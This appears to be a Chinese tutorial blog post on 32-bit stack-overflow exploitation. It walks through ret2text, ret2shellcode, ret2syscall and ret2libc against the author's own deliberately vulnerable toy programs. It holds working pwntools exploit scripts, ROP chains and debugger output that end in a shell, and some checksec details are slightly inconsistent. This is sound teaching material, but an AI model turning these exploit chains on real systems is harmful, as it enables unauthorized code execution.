2026-03-29

上一篇中讲了学习PWN之前,讲了一些需要知道的基本原理。现在开始真实的还原并解析这些过程:

栈溢出(上)

以下示例均为32位环境且没有开启no-pie,64位需要参考x86-64的ABI

栈溢出的原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,我们可以使用它让程序崩溃,也可以控制程序的执行流程。综上我们也可以整理出发生栈溢出的基本前提:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

结合一个示例来看看,我们的目标是通过栈溢出控制执行success函数:

#include <stdio.h>

void success(){
    printf("You did it!\n");
}

void vuln(){
    char s[10];	
    gets(s);		// 栈溢出入口点
    puts(s);
}

int main(){
    vuln();
    return 0;
}

使用gcc -m32 -fno-stack-protector -Wno-implicit-function-declaration test.c -o stack进行编译后,我们用checksec来检查开启的保护机制:

> pwn checksec ./stack
[*] '/home/Ylin/PWN/stack'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

我们可以通过ida来查看这一部分的栈结构,分析结构后构造ROP执行攻击。栈布局如下:

-00000012 s               db ?           ; 缓冲区开始
-00000011                 db ?
-00000010                 db ?
-0000000F                 db ?
-0000000E                 db ?
-0000000D                 db ?
-0000000C                 db ?
-0000000B                 db ?
-0000000A                 db ?
-00000009                 db ?
-00000008                 db ?
-00000007                 db ?
-00000006                 db ?
-00000005                 db ?
-00000004 var_4           dd ?           ; 4字节变量
+00000000  s              db 4 dup(?)    ; 保存的EBP
+00000004  r              db 4 dup(?)    ; 返回地址

在gdb中可以看到栈布局:

00:0000│ esp   0xffffcc60 —▸ 0xffffcc76 ◂— 'aaaaaaaaaaaaaaaaaaaaaa'
01:0004│-024   0xffffcc64 ◂— 0
02:0008│-020   0xffffcc68 ◂— 0xffffffff
03:000c│-01c   0xffffcc6c —▸ 0x565561d4 (vuln+12) ◂— add ebx, 0x2e20
04:0010│-018   0xffffcc70 —▸ 0xf7fbf400 —▸ 0xf7d7c000 ◂— 0x464c457f
05:0014│ eax-2 0xffffcc74 ◂— 0x61610000
06:0018│-010   0xffffcc78 ◂— 'aaaaaaaaaaaaaaaaaaaa'
... ↓          3 skipped
0a:0028│ ebp   0xffffcc88 ◂— 'aaaa'
0b:002c│+004   0xffffcc8c —▸ 0x56556200 (main+2) ◂— in eax, 0x83

结合动态运行的栈和上面静态分析的栈结构,我们就可以得到程序内部的栈结构状态:

                                           +-----------------+
                                           |     retaddr     |
                                    ret--->+-----------------+ --> +4
                                           |     saved ebp   |
                                    ebp--->+-----------------+ --> 0
                                           |                 |
                                           |     buffer      |
                                           |                 |
                                    buf--->+-----------------+ --> -12
                                           |                 |
                                           |                 |
                                           |                 |
                                     esp-->+-----------------+

我们想要控制返回地址,就需要利用栈溢出覆盖buffer+saved ebp(这里22个字节),然后再用四个字节覆盖返回地址,使得程序退出时跳转到你希望的执行流上面。计算offset = |buf起始负偏移| + |ret起始正偏移|

现在我们可以写出攻击脚本exp:(pwntools官方文档

from pwn import * 

sh = process("./stack")
success_addr = 0x8049176
# pwntools的使用和payload的构造自己查看官方文档
payload = b"a" * 22 + p32(success_addr)	

sh.sendline(payload)
sh.interactive()

最终得到执行结果:

[14:54:40] Ylin@Ylin /home/Ylin/PWN
> python3 exp.py
[+] Starting local process './stack': pid 5957
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaav\x91\x04\x08
You did it!
[*] Got EOF while reading in interactive
$ q
[*] Process './stack' stopped with exit code -11 (SIGSEGV) (pid 5957)
[*] Got EOF while sending in interactive

这样就是一次完整的栈溢出攻击过程。总之,利用栈溢出的流程就是:

  • 寻找危险函数
  • 计算填充长度
  • 控制返回地址

现在我们学会了怎么利用栈溢出控制返回地址,但也仅仅只是学会了控制返回地址。接下来我们需要掌握怎么进一步的去拿到shell或是我们需要的内容。

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (即, .text 段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这是我们之后要说的 ROP。

现在我们拿到一个程序(和上一个的区别只在success):

#include <stdlib.h>

void success(){
    system("/bin/sh");
}

void vuln(){
    char s[10];
    gets(s);
    puts(s);
}

int main(){
    vuln();
    return 0;
}

我们就可以利用它的代码段中的system("/bin/sh")来构造出我们想要的payload:

from pwn import *  
sh = process("./ret2text")
target = 0x8049186
payload = b"a" * 22 + p32(target)
sh.sendline(payload)
sh.interactive()

执行脚本,从而拿到shell的权限,我们就可以进一步的读取里面的信息了,如cat flag

> python3 exp.py
[+] Starting local process './ret2text': pid 14942
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaa\x86\x91\x04\x08
$ ls
exp.py       ret2text      ret2text.id1  ret2text.nam  test.c
ida-mcp-env  ret2text.id0  ret2text.id2  ret2text.til

ret2shellcode

大多数时候,程序中并没有现有的system("\bin\sh")给我们使用,这使得我们需要自己构造shellcode,shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。

当程序存在缓冲区溢出,且栈(或其他内存区域)具有可执行权限时,攻击者可以:

  1. 在内存中写入 shellcode(通常通过输入缓冲区,也可以bss段)
  2. 覆盖返回地址为 shellcode 的起始地址
  3. 函数返回时跳转到 shellcode,执行任意代码

我们以下面的程序为例:

#include <stdio.h>
#include <string.h>

void vuln() {
    char buf[64];
    printf("buf: %p\n", buf);	// 为了方便找到buf的地址,否则要绕过ASLR很麻烦
    gets(buf); 
}

int main() {
    vuln();
    return 0;
}

通过gcc -m32 -fno-stack-protector -Wno-implicit-function-declaration -z execstack test.c -o ret2shellcode 编译后检查保护机制:

> pwn checksec ret2shellcode
[*] '/home/Ylin/PWN/ret2shellcode'
    Arch:       amd64-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

我们可以看到NX保护被关闭了,且栈是可以执行的。所以我们就可以向栈上先填充padding(填充值)和shellcode,然后将返回地址覆盖为缓冲区的起始地址,从而控制程序执行我们的shellcode,以获得shell权限。

我们分析程序的栈结构来构造我们的攻击脚本:

-00000048 s               db 68 dup(?)
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

计算出offset = 0x48 + 0x4,同时可以通过输出来确定buf的入口地址作为我们的返回地址,然后我们可以利用pwntools自带的shellcode生成,写出exp

#!/usr/bin/env python3
from pwn import *

sh = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())

offset = 0x48 + 4
# 用来读取buf地址
buf_addr = int(sh.recv().decode().split()[-1], 16)

print(f"Buffer address: {hex(buf_addr)}")
# shellcode左对齐,保证可以覆盖缓冲区和rbp
payload = shellcode.ljust(offset, b'A') + p32(buf_addr)

sh.sendline(payload)
sh.interactive()

最终成功执行得到shell:

[17:07:50] Ylin@Ylin /home/Ylin/PWN
> python3 exp.py
[+] Starting local process './ret2shellcode': pid 31376
Buffer address: 0xffbf39d0
[*] Switching to interactive mode
$ ls
exp.py  ida-mcp-env  ret2shellcode  test.c

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。但是在讲这个之前我们需要先了解一下什么是ROP和gadget。

ROP是一种高级漏洞利用技术,用于绕过 NX 保护机制。当栈不可执行时,无法直接执行 shellcode,ROP 通过复用程序中已有的代码片段来构造恶意逻辑。就是虽然在某些时候我们无法注入shellcode并控制返回执行,但是我们可以控制返回去执行一些代码片段(即跳到某条地址执行指令),但是并不是所有的指令都是有意义的,我们把可以利用的指令称为gadget

一个合格的gadget需要满足以下两个要求:

  • 要有"副作用",就是这个指令要能够修改寄存器/内存,或是进行计算。以促进我们达成某种目的
  • 要以控制流结束结尾,我们要确保gadget能从一个跳转到下一个,所以就需要ret结尾来控制控制流

最常见的使用gadget构造rop的方法就是在ret2syscall中,我们可以通过向寄存器传递对应的参数后通过int 80来进行系统调用:

  • eax: 传递系统调用号
  • ebx ecx edx esi edi :第1-5个参数
  • int 0x80:触发系统调用,常用的有writeexecveopenread、…

我们以下面的程序来演示,我手动放了我们需要gadget进去来模拟实际的场景:

#include <unistd.h>
#include <string.h>

char *str = "/bin/sh";

void gadget(){
    __asm__ volatile(
        "pop %eax;ret;"
        "pop %ebx;ret;"
        "pop %ecx;ret;"
        "pop %edx;ret;"
        "int $0x80;"
    );
}

void vuln() {
    char buf[64];
    printf("buf: %p\n", buf);
    gets(buf); 
    write(1,buf,strlen(buf));
}

int main() {
    vuln();
    return 0;
}

通过gcc -m32 -fno-stack-protector -Wno-implicit-function-declaration -no-pie test.c -o ret2syscall -O0编译得到我们要攻击的程序,检查保护机制,发现开了NX enable

> pwn checksec ret2syscall
[*] '/home/Ylin/PWN/ret2syscall'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

此时程序中既没有可以直接使用的后门函数,也没有可以执行的栈,我们只能收集gadget来构造ROP:(这一步也可以用ida完成)

> ROPgadget --binary ret2syscall --only "pop|ret|int"
Gadgets information
============================================================
0x080491ab : int 0x80
0x080491a3 : pop eax ; ret
0x080491ae : pop ebp ; ret
0x0804901e : pop ebx ; ret
0x080491a7 : pop ecx ; ret
0x080491a9 : pop edx ; ret
0x0804900a : ret
0x0804912b : ret 0xe8c1

Unique gadgets found: 8

> ROPgadget --binary ret2syscall --string "/bin/sh"
Strings information
============================================================
0x0804a008 : /bin/sh

由于这里给了字符串/bin/sh,所以我们自然会想到利用execve("/bin/sh",NULL,NULL)来获得shell的权限,于是我们可以设计出ROP:

pop_eax_ret + 11 + pop_ebx_ret + /bin/sh + pop_ecx_ret + 0 + pop_edx_ret + 0 + int_80

通过将ROP放在缓冲区的入口,控制程序的执行流来执行系统调用。可以注意到每个pop_ret实际上会弹出两次栈上的数据,第一次将栈上的数据弹出作为参数,第二次ret弹出下一个数据作为执行的地址,这个执行流的控制一定要搞清楚,因为很多时候收集到的gadget并不会这么典型,可能会有pop_eax_pop_ebx_pop_ecx_ret这种的,这个时候ROP的构造就要视情况而定。

最终针对上面的程序,我们可以写出exp:

#!/usr/bin/env python3
from pwn import *

sh = process("./ret2syscall")

offset = 0x48 + 0x4

int80 = 0x080491ab
pop_eax_ret = 0x080491a3
pop_ebx_ret = 0x0804901e 
pop_ecx_ret = 0x080491a7
pop_edx_ret = 0x080491a9
bin_sh = 0x0804a008

ROP = flat([pop_eax_ret, 
            0xb, 
            pop_ebx_ret, 
            bin_sh, 
            pop_ecx_ret, 
            0, 
            pop_edx_ret, 
            0, 
            int80])

# 这里直接用ROP的入口覆盖ret值即可,相当于利用栈上的“地址序列”去串联现有代码片段执行
# NX 只禁止前者,不禁止后者。
payload = b"A" * offset + ROP

sh.sendline(payload)
sh.interactive()

最终执行得到:

> python3 exp.py
[+] Starting local process './ret2syscall': pid 24179
[*] Switching to interactive mode
buf: 0xffa81f70
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa3\x91\x04\x08\x0b$ ls
exp.py       ret2syscall      ret2syscall.id1  ret2syscall.nam  test.c
ida-mcp-env  ret2syscall.id0  ret2syscall.id2  ret2syscall.til

ret2libc

假如现在我们连合适的gadget都收集不到了怎么办。这个时候我们就可以通过利用内存中libc的库的标准函数来获取我们想要的内容。前提是程序需要是动态链接的,这里简单解释一下,当程序动态链接时,操作系统会将libc加载到内存中,这个时候我们的程序需要调用标准函数时,就会跳转到libc中执行。而我们就可以利用这一点,直接将返回值改为libc中我们想执行的函数。而ret2libc的关键,就在于我们怎么得到想要执行的libc的函数。

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

现在我们不得不面对一个问题,在现代的环境中ASLR通常是默认开启的。libc并不会加载在固定的地址,所以我们首先需要泄露出libc的基址。然后再用基址加上libc内的固定偏移来获取我们要调用的地址。一般情况下我们会这么做:

  • 泄露某个标准函数的libc地址func_addr,然后确定对应的libc版本
  • 由于所有函数的偏移值offset在libc中是已知的,我们就可以求出libc的基址libc_base = func_addr - offset
  • 拿到基址,又知道其他函数的偏移值,我们就可以获得想要的函数的地址system_addr = libc_base + system_offset

接下来的流程就和ret2text是一样的了。但是关键的难点就在于怎么泄露标准函数的地址。一般我们可以通过:

  • 输出函数printfputswrite等泄露GOT(这个是等下要用的手法)
  • 格式化字符串漏洞,这个下次再讲
  • 栈残留数据泄露,有时候函数地址会作为参数和返回地址残留在栈上

以下程序为例,演示ret2libc的过程:

#include <unistd.h>

void vuln() {
    char buf[64];
    gets(buf); 
    puts(buf);
}

int main() {
    vuln();
    return 0;
}

我们用gcc -m32 -fno-stack-protector -Wno-implicit-function-declaration -no-pie test.c -o ret2libc -O0编译,并检查保护机制:

> pwn checksec ret2libc
[*] '/home/Ylin/PWN/ret2libc'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

由于程序很短,我们也自然收集不到合适的gadget来构造rop。所以我们只能先利用程序中的puts函数先泄露几个地址,这里我们用puts泄露本身的地址就够用了:

#!/usr/bin/env python3
from pwn import *

sh = process("./ret2libc")
elf = ELF("./ret2libc")

put_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]

offset = 0x48 + 0x4
payload1 = b"A" * offset 
# 这里的顺序是 跳转到call puts + 返回地址 + put的第一个参数
# 解释一下为什么返回main, 因为接下来还需要再利用一次栈溢出, 回到main恢复状态
# puts_got在经过延迟绑定后存放的是puts的真实地址
# 不知道什么是plt 和 got的自己去搜
payload1 += p32(put_plt) + p32(main_addr) + p32(puts_got)
sh.sendline(payload1)

# echo 一般是用来消耗无用的返回
echo = sh.recvline()
# 将返回的输出转换成32位的标准
puts_addr = u32(sh.recvuntil(b"\n", drop=True)[:4].ljust(4, b"\x00"))

log.success(f"puts addr: {hex(puts_addr)}")

有了puts的真实地址后,接下来需要解决的问题就是需要知道libc版本,以确定puts在libc中的相对偏移,求出libc基址。到现在为止一般有两种情况:

  • 已知libc版本,有时候题目会直接给,直接libc = ELF("libc.so.6")就行了
  • 未知libc版本,通常利用工具来查询,接下来我会演示两种方法

一种是通过在线网站https://libc.blukat.me/ 输入对应的函数和泄露出来的地址,来查询libc版本:

可以看到搜到很多版本,因为很多版本的函数的偏移值是一样的,所以就需要多泄露几个函数来交叉搜索。找到对应的版本的libc把他下载下来就好了,后续的流程是一样的。

还有一种就是使用LibcSearcher库来自动搜索libc库,相当于把上面的网站查询功能放到了程序执行的过程中,你也可以自己写一个,执行的效果就像下面这样

但是因为要尝试很多次,我就干脆不用这个方法了,我直接绑定解析了用来编译这个程序的库:

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import * 

sh = process("./ret2libc")
elf = ELF("./ret2libc")

put_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
gets_got = elf.got["gets"]
main_addr = elf.symbols["main"]

offset = 0x48 + 0x4
payload1 = b"A" * offset 
payload1 += p32(put_plt) + p32(main_addr) + p32(puts_got)
sh.sendline(payload1)

echo = sh.recvline()
puts_addr = u32(sh.recvuntil(b"\n", drop=True)[:4].ljust(4, b"\x00"))

# 这个是我电脑上的libc,一般题目会直接给出,如果没有就需要用上面的方法查询
libc = ELF("/usr/lib32/libc.so.6")
libc_base = puts_addr - libc.symbols['puts']			# 计算libc基址
system_addr = libc_base + libc.symbols['system']		 # 计算出system函数的真实地址 
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))	 # 计算出字符串/bin/sh的真实地址

# 接下来就和ret2text是一样的
payload = b"A" * offset + p32(system_addr) + b"AAAA" + p32(binsh_addr)

sh.sendline(payload)
sh.interactive()    

最终得到运行结果:

> python3 exp.py
[+] Starting local process './ret2libc': pid 29355
[*] '/home/Ylin/PWN/ret2libc'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[+] puts addr: 0xf7d662a0
[+] gets addr: 0xf7d65670
[*] '/usr/lib32/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \xc2\xd3\xf7AAAAR\xee\xea\xf7
$ ls
exp.py       LibcSearcher.py  ret2libc      ret2libc.id1  ret2libc.nam  test.c
ida-mcp-env  __pycache__      ret2libc.id0  ret2libc.id2  ret2libc.til

总结

首先需要明确什么时候该利用哪些方法,不要舍近求远:

原理 场景 关键
ret2text 跳转到.text段已有的后门函数 程序自带system("/bin/sh") 计算偏移,直接覆盖返回地址
ret2shellcode 注入shellcode并执行 栈有可执行权限(NX关闭) shellcode编写,地址泄露(绕过ASLR)
ret2syscall 构造ROP链执行系统调用 NX开启,但无libc可用 寻找gadget,构造系统调用参数
ret2libc 利用libc中的函数 NX开启,程序动态链接 泄露libc地址,计算基址

理解并使用这些漏洞的关键在于:

  • 理解内存布局(C语言内存布局是学习PWN的基础)
  • 掌握调用约定
  • 熟练使用调试工具(gdb/pwndbg)
  • 动手实践(你需要实践来验证自己的猜想,pwn需要记住的东西很多)

上面的这几个例子都是我编写的具体情况,实际的漏洞利用过程中用法是综合的。并不会这么简单,这些实验只是直观的帮助大家认识这些漏洞利用的过程。而且很多调试的过程并不是一次就能成功的,还有一些过程有一定的猜测成分。但是漏洞利用从来不是非此即彼的过程,而是环环相扣的。很多时候一个地址的泄露是为了后面的过程做好铺垫,一点一点的获取信息,一步一步的打造ROP链。

初学的时候可能会对很多机制感到很陌生,比如什么是系统调用plt/gotASLR…这些都需要去查阅资料才能帮助你更好了解这些过程,AI是很好的工具,大多数的问题都能为你回答。遇到实在拿不准的标准,可以去查看官方文档,不要嫌麻烦,这也是一种积累。